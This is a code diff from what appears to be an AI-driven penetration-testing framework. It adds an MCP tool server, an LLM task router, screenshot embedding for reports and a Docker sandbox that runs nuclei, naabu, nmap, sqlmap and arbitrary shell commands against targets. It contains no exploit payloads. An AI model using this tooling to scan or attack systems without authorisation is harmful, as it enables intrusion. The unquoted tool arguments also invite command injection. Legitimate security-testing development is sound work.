"get_vuln_prompt": lambda args: _get_vuln_prompt(
|
||||
args["vuln_type"], args.get("target", ""), args.get("endpoint", ""),
|
||||
args.get("param", ""), args.get("tech", "")
|
||||
),
|
||||
# Sandbox tools
|
||||
"execute_nuclei": lambda args: _execute_nuclei(
|
||||
args["target"], args.get("templates"), args.get("severity"),
|
||||
args.get("tags"), args.get("rate_limit", 150)
|
||||
),
|
||||
"execute_naabu": lambda args: _execute_naabu(
|
||||
args["target"], args.get("ports"), args.get("top_ports"),
|
||||
args.get("rate", 1000)
|
||||
),
|
||||
"sandbox_health": lambda args: _sandbox_health(),
|
||||
"sandbox_exec": lambda args: _sandbox_exec(
|
||||
args["tool"], args["args"], args.get("timeout", 300)
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def create_mcp_server() -> "Server":
|
||||
"""Create and configure the MCP server with all pentest tools."""
|
||||
if not HAS_MCP:
|
||||
raise RuntimeError("MCP package not installed. Install with: pip install 'mcp>=1.0.0'")
|
||||
|
||||
server = Server("neurosploit-tools")
|
||||
|
||||
@server.list_tools()
|
||||
async def list_tools() -> list:
|
||||
return [Tool(**t) for t in TOOLS]
|
||||
|
||||
@server.call_tool()
|
||||
async def call_tool(name: str, arguments: dict) -> list:
|
||||
handler = TOOL_HANDLERS.get(name)
|
||||
if not handler:
|
||||
return [TextContent(type="text", text=json.dumps({"error": f"Unknown tool: {name}"}))]
|
||||
|
||||
try:
|
||||
result = await handler(arguments)
|
||||
return [TextContent(type="text", text=json.dumps(result, default=str))]
|
||||
except Exception as e:
|
||||
return [TextContent(type="text", text=json.dumps({"error": str(e)}))]
|
||||
|
||||
return server
|
||||
|
||||
|
||||
async def main():
|
||||
"""Run the MCP server via stdio transport."""
|
||||
server = create_mcp_server()
|
||||
|
||||
transport = os.getenv("MCP_TRANSPORT", "stdio")
|
||||
if transport == "stdio":
|
||||
async with stdio_server() as (read_stream, write_stream):
|
||||
await server.run(read_stream, write_stream, server.create_initialization_options())
|
||||
else:
|
||||
logger.error(f"Unsupported transport: {transport}. Use 'stdio'.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
@@ -0,0 +1,81 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Model Router - Task-type-based LLM routing.
|
||||
|
||||
Routes requests to different LLM profiles based on task type:
|
||||
- reasoning: Complex logic and decision-making
|
||||
- analysis: Data analysis and pattern recognition
|
||||
- generation: Content and payload generation
|
||||
- validation: Result verification and confirmation
|
||||
|
||||
Enabled/disabled via config. When disabled, callers fall back to their default provider.
|
||||
"""
|
||||
|
||||
import os
|
||||
import logging
|
||||
from typing import Dict, Optional, Callable
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ModelRouter:
|
||||
"""Routes LLM requests to different profiles based on task type."""
|
||||
|
||||
def __init__(self, config: Dict, llm_manager_factory: Callable):
|
||||
"""
|
||||
Args:
|
||||
config: Full application config dict (must contain 'model_routing' and 'llm' keys)
|
||||
llm_manager_factory: Callable that takes a profile name and returns an LLMManager instance
|
||||
"""
|
||||
routing_config = config.get('model_routing', {})
|
||||
self.enabled = routing_config.get('enabled', False)
|
||||
|
||||
# Allow env var override
|
||||
env_override = os.getenv('ENABLE_MODEL_ROUTING', '').strip().lower()
|
||||
if env_override == 'true':
|
||||
self.enabled = True
|
||||
elif env_override == 'false':
|
||||
self.enabled = False
|
||||
|
||||
self.routes = routing_config.get('routes', {})
|
||||
self.llm_manager_factory = llm_manager_factory
|
||||
self._managers = {} # Cache LLMManager instances per profile
|
||||
|
||||
if self.enabled:
|
||||
logger.info(f"Model routing enabled with routes: {list(self.routes.keys())}")
|
||||
else:
|
||||
logger.debug("Model routing disabled")
|
||||
|
||||
def generate(self, prompt: str, system_prompt: Optional[str] = None,
|
||||
task_type: str = "default") -> Optional[str]:
|
||||
"""Route a generation request to the appropriate LLM profile.
|
||||
|
||||
Returns None if routing is disabled or no route matches,
|
||||
allowing callers to fall back to their default provider.
|
||||
"""
|
||||
if not self.enabled:
|
||||
return None
|
||||
|
||||
profile = self.routes.get(task_type, self.routes.get('default'))
|
||||
if not profile:
|
||||
logger.debug(f"No route for task_type '{task_type}', falling back to default")
|
||||
return None
|
||||
|
||||
try:
|
||||
if profile not in self._managers:
|
||||
self._managers[profile] = self.llm_manager_factory(profile)
|
||||
|
||||
manager = self._managers[profile]
|
||||
logger.debug(f"Routing task_type '{task_type}' to profile '{profile}' "
|
||||
f"(provider: {manager.provider}, model: {manager.model})")
|
||||
return manager.generate(prompt, system_prompt)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Model routing error for profile '{profile}': {e}")
|
||||
return None
|
||||
|
||||
def get_profile_for_task(self, task_type: str) -> Optional[str]:
|
||||
"""Get the profile name that would handle a given task type."""
|
||||
if not self.enabled:
|
||||
return None
|
||||
return self.routes.get(task_type, self.routes.get('default'))
|
||||
@@ -4,9 +4,11 @@ Professional Pentest Report Generator
|
||||
Generates detailed reports with PoCs, CVSS scores, requests/responses
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Any
|
||||
import html
|
||||
import logging
|
||||
@@ -49,6 +51,41 @@ class ReportGenerator:
|
||||
escaped = self._escape_html(code)
|
||||
return f'<pre><code class="language-{language}">{escaped}</code></pre>'
|
||||
|
||||
def embed_screenshot(self, filepath: str) -> str:
|
||||
"""Convert a screenshot file to a base64 data URI for HTML embedding."""
|
||||
path = Path(filepath)
|
||||
if not path.exists():
|
||||
return ""
|
||||
try:
|
||||
with open(path, 'rb') as f:
|
||||
data = base64.b64encode(f.read()).decode('ascii')
|
||||
return f"data:image/png;base64,{data}"
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def build_screenshots_html(self, finding_id: str, screenshots_dir: str = "reports/screenshots") -> str:
|
||||
"""Build screenshot grid HTML for a finding, embedding images as base64."""
|
||||
finding_dir = Path(screenshots_dir) / finding_id
|
||||
if not finding_dir.exists():
|
||||
return ""
|
||||
|
||||
screenshots = sorted(finding_dir.glob("*.png"))[:3]
|
||||
if not screenshots:
|
||||
return ""
|
||||
|
||||
cards = ""
|
||||
for ss in screenshots:
|
||||
data_uri = self.embed_screenshot(str(ss))
|
||||
if data_uri:
|
||||
caption = ss.stem.replace('_', ' ').title()
|
||||
cards += f"""
|
||||
<div class="screenshot-card">
|
||||
<img src="{data_uri}" alt="{caption}" />
|
||||
<div class="screenshot-caption">{caption}</div>
|
||||
</div>"""
|
||||
|
||||
return f'<div class="screenshot-grid">{cards}</div>' if cards else ""
|
||||
|
||||
def generate_executive_summary(self) -> str:
|
||||
"""Generate executive summary section"""
|
||||
summary = self.scan_results.get("summary", {})
|
||||
@@ -611,17 +648,39 @@ class ReportGenerator:
|
||||
return html
|
||||
|
||||
def save_report(self, output_dir: str = "reports") -> str:
|
||||
"""Save HTML report to file"""
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
"""Save HTML report to a per-report folder with screenshots."""
|
||||
import shutil
|
||||
|
||||
# Create per-report folder
|
||||
target = self.scan_results.get("target_url", self.scan_results.get("target", "unknown"))
|
||||
target_name = target.replace("://", "_").replace("/", "_").rstrip("_")[:40]
|
||||
report_folder = f"report_{target_name}_{self.timestamp}"
|
||||
report_dir = os.path.join(output_dir, report_folder)
|
||||
os.makedirs(report_dir, exist_ok=True)
|
||||
|
||||
filename = f"pentest_report_{self.timestamp}.html"
|
||||
filepath = os.path.join(output_dir, filename)
|
||||
filepath = os.path.join(report_dir, filename)
|
||||
|
||||
html_content = self.generate_html_report()
|
||||
|
||||
with open(filepath, 'w', encoding='utf-8') as f:
|
||||
f.write(html_content)
|
||||
|
||||
# Copy screenshots into report folder
|
||||
screenshots_src = os.path.join("reports", "screenshots")
|
||||
if os.path.exists(screenshots_src):
|
||||
screenshots_dest = os.path.join(report_dir, "screenshots")
|
||||
vulns = self.scan_results.get("vulnerabilities", [])
|
||||
for vuln in vulns:
|
||||
fid = vuln.get("id", "")
|
||||
if fid:
|
||||
src_dir = os.path.join(screenshots_src, str(fid))
|
||||
if os.path.exists(src_dir):
|
||||
dest_dir = os.path.join(screenshots_dest, str(fid))
|
||||
os.makedirs(dest_dir, exist_ok=True)
|
||||
for ss_file in Path(src_dir).glob("*.png"):
|
||||
shutil.copy2(str(ss_file), os.path.join(dest_dir, ss_file.name))
|
||||
|
||||
logger.info(f"Report saved to: {filepath}")
|
||||
return filepath
|
||||
|
||||
|
||||
@@ -0,0 +1,758 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
NeuroSploit Security Sandbox Manager
|
||||
|
||||
Manages Docker-based security tool execution in an isolated container.
|
||||
Provides high-level API for running Nuclei, Naabu, and other tools.
|
||||
|
||||
Architecture:
|
||||
- Persistent sandbox container (neurosploit-sandbox) stays running
|
||||
- Tools executed via `docker exec` for sub-second startup
|
||||
- Output collected from container stdout + output files
|
||||
- Resource limits enforced (2GB RAM, 2 CPU)
|
||||
- Network isolation with controlled egress
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shlex
|
||||
from abc import ABC, abstractmethod
|
||||
from typing import Dict, Any, Optional, List, Tuple
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Guard Docker SDK import
|
||||
try:
|
||||
import docker
|
||||
from docker.errors import DockerException, NotFound, APIError
|
||||
HAS_DOCKER = True
|
||||
except ImportError:
|
||||
HAS_DOCKER = False
|
||||
logger.warning("Docker SDK not installed. Install with: pip install docker")
|
||||
|
||||
|
||||
@dataclass
|
||||
class SandboxResult:
|
||||
"""Result from a sandboxed tool execution."""
|
||||
tool: str
|
||||
command: str
|
||||
exit_code: int
|
||||
stdout: str
|
||||
stderr: str
|
||||
duration_seconds: float
|
||||
findings: List[Dict] = field(default_factory=list)
|
||||
error: Optional[str] = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nuclei output parser
|
||||
# ---------------------------------------------------------------------------
|
||||
def parse_nuclei_jsonl(output: str) -> List[Dict]:
|
||||
"""Parse Nuclei JSONL output into structured findings."""
|
||||
findings = []
|
||||
severity_map = {
|
||||
"critical": "critical",
|
||||
"high": "high",
|
||||
"medium": "medium",
|
||||
"low": "low",
|
||||
"info": "info",
|
||||
}
|
||||
|
||||
for line in output.strip().split("\n"):
|
||||
if not line.strip():
|
||||
continue
|
||||
try:
|
||||
data = json.loads(line)
|
||||
info = data.get("info", {})
|
||||
tags = info.get("tags", [])
|
||||
findings.append({
|
||||
"title": info.get("name", "Unknown"),
|
||||
"severity": severity_map.get(info.get("severity", "info"), "info"),
|
||||
"vulnerability_type": tags[0] if tags else "vulnerability",
|
||||
"description": info.get("description", ""),
|
||||
"affected_endpoint": data.get("matched-at", ""),
|
||||
"evidence": data.get("matcher-name", ""),
|
||||
"template_id": data.get("template-id", ""),
|
||||
"curl_command": data.get("curl-command", ""),
|
||||
"remediation": info.get("remediation", "Review and fix the vulnerability"),
|
||||
"references": info.get("reference", []),
|
||||
"cwe": info.get("classification", {}).get("cwe-id", []),
|
||||
"cvss_score": info.get("classification", {}).get("cvss-score", 0),
|
||||
})
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
continue
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Naabu output parser
|
||||
# ---------------------------------------------------------------------------
|
||||
def parse_naabu_output(output: str) -> List[Dict]:
|
||||
"""Parse Naabu output into structured port findings."""
|
||||
findings = []
|
||||
seen = set()
|
||||
|
||||
for line in output.strip().split("\n"):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# Naabu JSON mode: {"host":"x","ip":"y","port":80}
|
||||
try:
|
||||
data = json.loads(line)
|
||||
host = data.get("host", data.get("ip", ""))
|
||||
port = data.get("port", 0)
|
||||
key = f"{host}:{port}"
|
||||
if key not in seen:
|
||||
seen.add(key)
|
||||
findings.append({
|
||||
"host": host,
|
||||
"port": port,
|
||||
"protocol": "tcp",
|
||||
})
|
||||
continue
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
pass
|
||||
|
||||
# Text mode: host:port
|
||||
match = re.match(r"^(.+?):(\d+)$", line)
|
||||
if match:
|
||||
host, port = match.group(1), int(match.group(2))
|
||||
key = f"{host}:{port}"
|
||||
if key not in seen:
|
||||
seen.add(key)
|
||||
findings.append({
|
||||
"host": host,
|
||||
"port": port,
|
||||
"protocol": "tcp",
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
class BaseSandbox(ABC):
|
||||
"""Abstract interface for sandbox implementations (legacy shared + per-scan Kali)."""
|
||||
|
||||
@abstractmethod
|
||||
async def initialize(self) -> Tuple[bool, str]: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def is_available(self) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
async def stop(self): ...
|
||||
|
||||
@abstractmethod
|
||||
async def health_check(self) -> Dict: ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_nuclei(self, target, templates=None, severity=None,
|
||||
tags=None, rate_limit=150, timeout=600) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_naabu(self, target, ports=None, top_ports=None,
|
||||
scan_type="s", rate=1000, timeout=300) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_httpx(self, targets, timeout=120) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_subfinder(self, domain, timeout=120) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_nmap(self, target, ports=None, scripts=True, timeout=300) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def run_tool(self, tool, args, timeout=300) -> "SandboxResult": ...
|
||||
|
||||
@abstractmethod
|
||||
async def execute_raw(self, command, timeout=300) -> "SandboxResult": ...
|
||||
|
||||
|
||||
class SandboxManager(BaseSandbox):
|
||||
"""
|
||||
Legacy shared sandbox: persistent Docker container running security tools.
|
||||
|
||||
Tools are executed via `docker exec` for fast invocation.
|
||||
Used by MCP server and terminal API (no scan_id context).
|
||||
"""
|
||||
|
||||
SANDBOX_IMAGE = "neurosploit-sandbox:latest"
|
||||
SANDBOX_CONTAINER = "neurosploit-sandbox"
|
||||
DEFAULT_TIMEOUT = 300 # 5 minutes
|
||||
MAX_OUTPUT = 2 * 1024 * 1024 # 2MB
|
||||
|
||||
# Known install commands for tools not pre-installed in the sandbox
|
||||
KNOWN_INSTALLS = {
|
||||
"wpscan": "gem install wpscan 2>&1",
|
||||
"joomscan": "pip3 install joomscan 2>&1",
|
||||
"dirsearch": "pip3 install dirsearch 2>&1",
|
||||
"commix": "pip3 install commix 2>&1",
|
||||
"wfuzz": "pip3 install wfuzz 2>&1",
|
||||
"sslyze": "pip3 install sslyze 2>&1",
|
||||
"retire": "npm install -g retire 2>&1",
|
||||
"testssl": "apt-get update -qq && apt-get install -y -qq testssl.sh 2>&1",
|
||||
"trufflehog": "pip3 install trufflehog 2>&1",
|
||||
"gitleaks": "GO111MODULE=on go install github.com/gitleaks/gitleaks/v8@latest 2>&1",
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self._client: Optional[Any] = None
|
||||
self._container: Optional[Any] = None
|
||||
self._available = False
|
||||
self._temp_installed: set = set() # Tools temporarily installed for cleanup
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Lifecycle
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def initialize(self) -> Tuple[bool, str]:
|
||||
"""Initialize Docker client and ensure sandbox is running."""
|
||||
if not HAS_DOCKER:
|
||||
return False, "Docker SDK not installed"
|
||||
|
||||
try:
|
||||
self._client = docker.from_env()
|
||||
self._client.ping()
|
||||
except Exception as e:
|
||||
return False, f"Docker not available: {e}"
|
||||
|
||||
# Check if sandbox container already running
|
||||
try:
|
||||
container = self._client.containers.get(self.SANDBOX_CONTAINER)
|
||||
if container.status == "running":
|
||||
self._container = container
|
||||
self._available = True
|
||||
return True, "Sandbox already running"
|
||||
else:
|
||||
container.remove(force=True)
|
||||
except NotFound:
|
||||
pass
|
||||
|
||||
# Check if image exists
|
||||
try:
|
||||
self._client.images.get(self.SANDBOX_IMAGE)
|
||||
except NotFound:
|
||||
return False, (
|
||||
f"Sandbox image '{self.SANDBOX_IMAGE}' not found. "
|
||||
"Build with: cd docker && docker compose -f docker-compose.sandbox.yml build"
|
||||
)
|
||||
|
||||
# Start sandbox container
|
||||
try:
|
||||
self._container = self._client.containers.run(
|
||||
self.SANDBOX_IMAGE,
|
||||
command="sleep infinity",
|
||||
name=self.SANDBOX_CONTAINER,
|
||||
detach=True,
|
||||
restart_policy={"Name": "unless-stopped"},
|
||||
network_mode="bridge",
|
||||
mem_limit="2g",
|
||||
cpu_period=100000,
|
||||
cpu_quota=200000, # 2 CPUs
|
||||
cap_add=["NET_RAW", "NET_ADMIN"],
|
||||
security_opt=["no-new-privileges:true"],
|
||||
)
|
||||
self._available = True
|
||||
return True, "Sandbox started"
|
||||
except Exception as e:
|
||||
return False, f"Failed to start sandbox: {e}"
|
||||
|
||||
@property
|
||||
def is_available(self) -> bool:
|
||||
"""Check if sandbox is ready for tool execution."""
|
||||
return self._available and self._container is not None
|
||||
|
||||
async def stop(self):
|
||||
"""Stop and remove the sandbox container."""
|
||||
if self._container:
|
||||
try:
|
||||
self._container.stop(timeout=10)
|
||||
self._container.remove(force=True)
|
||||
except Exception:
|
||||
pass
|
||||
self._container = None
|
||||
self._available = False
|
||||
|
||||
async def health_check(self) -> Dict:
|
||||
"""Run health check on the sandbox container."""
|
||||
if not self.is_available:
|
||||
return {"status": "unavailable", "tools": []}
|
||||
|
||||
result = await self._exec("nuclei -version 2>&1 && naabu -version 2>&1 && nmap --version 2>&1 | head -1")
|
||||
tools = []
|
||||
if "nuclei" in result.stdout.lower():
|
||||
tools.append("nuclei")
|
||||
if "naabu" in result.stdout.lower():
|
||||
tools.append("naabu")
|
||||
if "nmap" in result.stdout.lower():
|
||||
tools.append("nmap")
|
||||
|
||||
return {
|
||||
"status": "healthy" if tools else "degraded",
|
||||
"tools": tools,
|
||||
"container": self.SANDBOX_CONTAINER,
|
||||
"uptime": self._container.attrs.get("State", {}).get("StartedAt", "") if self._container else "",
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Low-level execution
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def _exec(
|
||||
self, command: str, timeout: int = DEFAULT_TIMEOUT
|
||||
) -> SandboxResult:
|
||||
"""Execute a command inside the sandbox container."""
|
||||
if not self.is_available:
|
||||
return SandboxResult(
|
||||
tool="sandbox", command=command, exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error="Sandbox not available",
|
||||
)
|
||||
|
||||
started = datetime.utcnow()
|
||||
|
||||
try:
|
||||
exec_result = await asyncio.get_event_loop().run_in_executor(
|
||||
None,
|
||||
lambda: self._container.exec_run(
|
||||
cmd=["bash", "-c", command],
|
||||
stdout=True,
|
||||
stderr=True,
|
||||
demux=True,
|
||||
),
|
||||
)
|
||||
|
||||
duration = (datetime.utcnow() - started).total_seconds()
|
||||
|
||||
stdout_raw, stderr_raw = exec_result.output
|
||||
stdout = (stdout_raw or b"").decode("utf-8", errors="replace")
|
||||
stderr = (stderr_raw or b"").decode("utf-8", errors="replace")
|
||||
|
||||
# Truncate oversized output
|
||||
if len(stdout) > self.MAX_OUTPUT:
|
||||
stdout = stdout[: self.MAX_OUTPUT] + "\n... [truncated]"
|
||||
if len(stderr) > self.MAX_OUTPUT:
|
||||
stderr = stderr[: self.MAX_OUTPUT] + "\n... [truncated]"
|
||||
|
||||
return SandboxResult(
|
||||
tool="sandbox",
|
||||
command=command,
|
||||
exit_code=exec_result.exit_code,
|
||||
stdout=stdout,
|
||||
stderr=stderr,
|
||||
duration_seconds=duration,
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
duration = (datetime.utcnow() - started).total_seconds()
|
||||
return SandboxResult(
|
||||
tool="sandbox", command=command, exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=duration,
|
||||
error=str(e),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# High-level tool APIs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def run_nuclei(
|
||||
self,
|
||||
target: str,
|
||||
templates: Optional[str] = None,
|
||||
severity: Optional[str] = None,
|
||||
tags: Optional[str] = None,
|
||||
rate_limit: int = 150,
|
||||
timeout: int = 600,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run Nuclei vulnerability scanner against a target.
|
||||
|
||||
Args:
|
||||
target: URL or host to scan
|
||||
templates: Specific template path/ID (e.g., "cves/2024/")
|
||||
severity: Filter by severity (critical,high,medium,low,info)
|
||||
tags: Filter by tags (e.g., "xss,sqli,lfi")
|
||||
rate_limit: Requests per second (default 150)
|
||||
timeout: Max execution time in seconds
|
||||
"""
|
||||
cmd_parts = [
|
||||
"nuclei",
|
||||
"-u", shlex.quote(target),
|
||||
"-jsonl",
|
||||
"-rate-limit", str(rate_limit),
|
||||
"-silent",
|
||||
"-no-color",
|
||||
]
|
||||
|
||||
if templates:
|
||||
cmd_parts.extend(["-t", shlex.quote(templates)])
|
||||
if severity:
|
||||
cmd_parts.extend(["-severity", shlex.quote(severity)])
|
||||
if tags:
|
||||
cmd_parts.extend(["-tags", shlex.quote(tags)])
|
||||
|
||||
command = " ".join(cmd_parts) + " 2>/dev/null"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "nuclei"
|
||||
|
||||
# Parse findings
|
||||
if result.stdout:
|
||||
result.findings = parse_nuclei_jsonl(result.stdout)
|
||||
|
||||
return result
|
||||
|
||||
async def run_naabu(
|
||||
self,
|
||||
target: str,
|
||||
ports: Optional[str] = None,
|
||||
top_ports: Optional[int] = None,
|
||||
scan_type: str = "s",
|
||||
rate: int = 1000,
|
||||
timeout: int = 300,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run Naabu port scanner against a target.
|
||||
|
||||
Args:
|
||||
target: IP address or hostname to scan
|
||||
ports: Specific ports (e.g., "80,443,8080" or "1-65535")
|
||||
top_ports: Use top N ports (e.g., 100, 1000)
|
||||
scan_type: SYN (s), CONNECT (c)
|
||||
rate: Packets per second
|
||||
timeout: Max execution time in seconds
|
||||
"""
|
||||
cmd_parts = [
|
||||
"naabu",
|
||||
"-host", shlex.quote(target),
|
||||
"-json",
|
||||
"-rate", str(rate),
|
||||
"-silent",
|
||||
"-no-color",
|
||||
]
|
||||
|
||||
if ports:
|
||||
cmd_parts.extend(["-p", shlex.quote(ports)])
|
||||
elif top_ports:
|
||||
cmd_parts.extend(["-top-ports", str(top_ports)])
|
||||
else:
|
||||
cmd_parts.extend(["-top-ports", "1000"])
|
||||
|
||||
if scan_type:
|
||||
cmd_parts.extend(["-scan-type", scan_type])
|
||||
|
||||
command = " ".join(cmd_parts) + " 2>/dev/null"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "naabu"
|
||||
|
||||
# Parse port findings
|
||||
if result.stdout:
|
||||
result.findings = parse_naabu_output(result.stdout)
|
||||
|
||||
return result
|
||||
|
||||
async def run_httpx(
|
||||
self,
|
||||
targets: List[str],
|
||||
timeout: int = 120,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run HTTPX for HTTP probing and tech detection.
|
||||
|
||||
Args:
|
||||
targets: List of URLs/hosts to probe
|
||||
timeout: Max execution time
|
||||
"""
|
||||
target_str = "\\n".join(shlex.quote(t) for t in targets)
|
||||
command = (
|
||||
f'echo -e "{target_str}" | httpx -silent -json '
|
||||
f'-title -tech-detect -status-code -content-length '
|
||||
f'-follow-redirects -no-color 2>/dev/null'
|
||||
)
|
||||
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "httpx"
|
||||
|
||||
# Parse JSON lines
|
||||
if result.stdout:
|
||||
findings = []
|
||||
for line in result.stdout.strip().split("\n"):
|
||||
try:
|
||||
data = json.loads(line)
|
||||
findings.append({
|
||||
"url": data.get("url", ""),
|
||||
"status_code": data.get("status_code", 0),
|
||||
"title": data.get("title", ""),
|
||||
"technologies": data.get("tech", []),
|
||||
"content_length": data.get("content_length", 0),
|
||||
"webserver": data.get("webserver", ""),
|
||||
})
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
result.findings = findings
|
||||
|
||||
return result
|
||||
|
||||
async def run_subfinder(
|
||||
self,
|
||||
domain: str,
|
||||
timeout: int = 120,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run Subfinder for subdomain enumeration.
|
||||
|
||||
Args:
|
||||
domain: Base domain to enumerate
|
||||
timeout: Max execution time
|
||||
"""
|
||||
command = f"subfinder -d {shlex.quote(domain)} -silent -no-color 2>/dev/null"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "subfinder"
|
||||
|
||||
if result.stdout:
|
||||
subdomains = [s.strip() for s in result.stdout.strip().split("\n") if s.strip()]
|
||||
result.findings = [{"subdomain": s} for s in subdomains]
|
||||
|
||||
return result
|
||||
|
||||
async def run_nmap(
|
||||
self,
|
||||
target: str,
|
||||
ports: Optional[str] = None,
|
||||
scripts: bool = True,
|
||||
timeout: int = 300,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run Nmap network scanner.
|
||||
|
||||
Args:
|
||||
target: IP/hostname to scan
|
||||
ports: Port specification
|
||||
scripts: Enable default scripts (-sC)
|
||||
timeout: Max execution time
|
||||
"""
|
||||
cmd_parts = ["nmap", "-sV"]
|
||||
if scripts:
|
||||
cmd_parts.append("-sC")
|
||||
if ports:
|
||||
cmd_parts.extend(["-p", shlex.quote(ports)])
|
||||
cmd_parts.extend(["-oN", "/dev/stdout", shlex.quote(target)])
|
||||
|
||||
command = " ".join(cmd_parts) + " 2>/dev/null"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = "nmap"
|
||||
|
||||
return result
|
||||
|
||||
async def execute_raw(
|
||||
self,
|
||||
command: str,
|
||||
timeout: int = DEFAULT_TIMEOUT,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Execute an arbitrary shell command inside the sandbox container.
|
||||
|
||||
Used by the Terminal Agent for interactive infrastructure testing.
|
||||
Returns raw stdout/stderr/exit_code.
|
||||
|
||||
Args:
|
||||
command: Shell command to execute (passed to sh -c)
|
||||
timeout: Max execution time in seconds
|
||||
"""
|
||||
result = await self._exec(f"sh -c {shlex.quote(command)}", timeout=timeout)
|
||||
result.tool = "raw"
|
||||
return result
|
||||
|
||||
async def run_tool(
|
||||
self,
|
||||
tool: str,
|
||||
args: str,
|
||||
timeout: int = DEFAULT_TIMEOUT,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Run any tool available in the sandbox.
|
||||
|
||||
Args:
|
||||
tool: Tool name (nuclei, naabu, nmap, httpx, etc.)
|
||||
args: Command-line arguments as string
|
||||
timeout: Max execution time
|
||||
"""
|
||||
# Validate tool is available
|
||||
allowed_tools = {
|
||||
"nuclei", "naabu", "nmap", "httpx", "subfinder", "katana",
|
||||
"dnsx", "ffuf", "gobuster", "dalfox", "nikto", "sqlmap",
|
||||
"whatweb", "curl", "dig", "whois", "masscan", "dirsearch",
|
||||
"wfuzz", "arjun", "wafw00f", "waybackurls",
|
||||
}
|
||||
|
||||
if tool not in allowed_tools:
|
||||
return SandboxResult(
|
||||
tool=tool, command=f"{tool} {args}", exit_code=-1,
|
||||
stdout="", stderr="", duration_seconds=0,
|
||||
error=f"Tool '{tool}' not in allowed list: {sorted(allowed_tools)}",
|
||||
)
|
||||
|
||||
command = f"{tool} {args} 2>&1"
|
||||
result = await self._exec(command, timeout=timeout)
|
||||
result.tool = tool
|
||||
|
||||
return result
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Dynamic tool install / run / cleanup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
async def install_tool(
|
||||
self, tool: str, install_cmd: str = ""
|
||||
) -> Tuple[bool, str]:
|
||||
"""
|
||||
Temporarily install a tool in the sandbox container.
|
||||
|
||||
Args:
|
||||
tool: Tool name (must be in KNOWN_INSTALLS or provide install_cmd)
|
||||
install_cmd: Custom install command (overrides KNOWN_INSTALLS)
|
||||
|
||||
Returns:
|
||||
(success, message) tuple
|
||||
"""
|
||||
if not self.is_available:
|
||||
return False, "Sandbox not available"
|
||||
|
||||
cmd = install_cmd or self.KNOWN_INSTALLS.get(tool, "")
|
||||
if not cmd:
|
||||
return False, f"No install command for '{tool}'"
|
||||
|
||||
logger.info(f"Installing tool '{tool}' in sandbox...")
|
||||
result = await self._exec(cmd, timeout=120)
|
||||
success = result.exit_code == 0
|
||||
|
||||
if success:
|
||||
self._temp_installed.add(tool)
|
||||
logger.info(f"Tool '{tool}' installed successfully")
|
||||
else:
|
||||
logger.warning(f"Tool '{tool}' install failed: {result.stderr[:200]}")
|
||||
|
||||
msg = result.stdout[:500] if success else result.stderr[:500]
|
||||
return success, msg
|
||||
|
||||
async def run_and_cleanup(
|
||||
self,
|
||||
tool: str,
|
||||
args: str,
|
||||
cleanup: bool = True,
|
||||
timeout: int = 180,
|
||||
) -> SandboxResult:
|
||||
"""
|
||||
Install tool if needed, run it, collect output, then cleanup.
|
||||
|
||||
This is the primary method for dynamic tool execution:
|
||||
1. Check if tool exists in sandbox
|
||||
2. Install if missing (from KNOWN_INSTALLS)
|
||||
3. Run the tool with given arguments
|
||||
4. Cleanup the installation if it was temporary
|
||||
|
||||
Args:
|
||||
tool: Tool name
